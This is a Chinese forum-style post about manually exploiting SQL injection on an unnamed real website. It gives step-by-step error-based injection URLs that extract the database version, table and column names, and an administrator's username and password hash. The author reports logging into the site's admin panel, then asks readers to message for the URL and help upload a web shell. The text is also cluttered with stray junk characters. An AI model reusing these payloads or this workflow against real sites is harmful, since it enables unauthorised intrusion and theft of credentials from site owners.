近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。! r5 |5 N, V3 @8 |0 D5 \' Y
首先找到网站后台,加了个admin,后台出来了
( d# E7 a% B# h7 |' X- B8 m
# T) y" n$ c& m2 _8 X5 H" n4 Z s* L6 f$ P0 z* G5 }5 y6 D1 k
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入# R8 F8 ?8 o1 |/ N, s+ d
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
3 {9 A: G# I# h5 Z
6 e( @+ H. K7 ]" K, G2 M9 a
3 J L) B& _) u3 [0 `4 @4 U: b) d5 X! j$ K9 _. y
/ V8 k* V4 J: ^! G/ Chttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg8 t4 H9 [8 i6 W; ]* A
6 }6 m: z2 A' [# s4 d4 p I8 }) {
& A1 e- T- f j' E% j2 B) N) U( ~4 X' F& ^4 p6 s5 i
2 l5 B( h: W7 D可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator6 z8 u! ~3 v8 M( O
& p: q! S8 _& M% \8 n M2 {% k! }/ n$ F7 z. X* f$ t
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
1 g# P, e" F+ |/ Z8 q
3 r# Z3 |% I X6 ^7 K2 s+ L) F+ o* _' V' u
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--. q4 p* w, Y; b# a! ^
& M. G1 D9 C% A; X$ g9 `0 V; m: {# B3 n( v, n) r) Y4 `3 L
9 O8 }6 |/ z( d/ p: R 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--8 G5 w6 S3 {& v
- c- a& p( b r, }3 e1 [
, a4 g2 U5 X" q# p2 {, i4 J; B
) V. e1 |) L" E7 g6 j, F5 Q U2 A 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |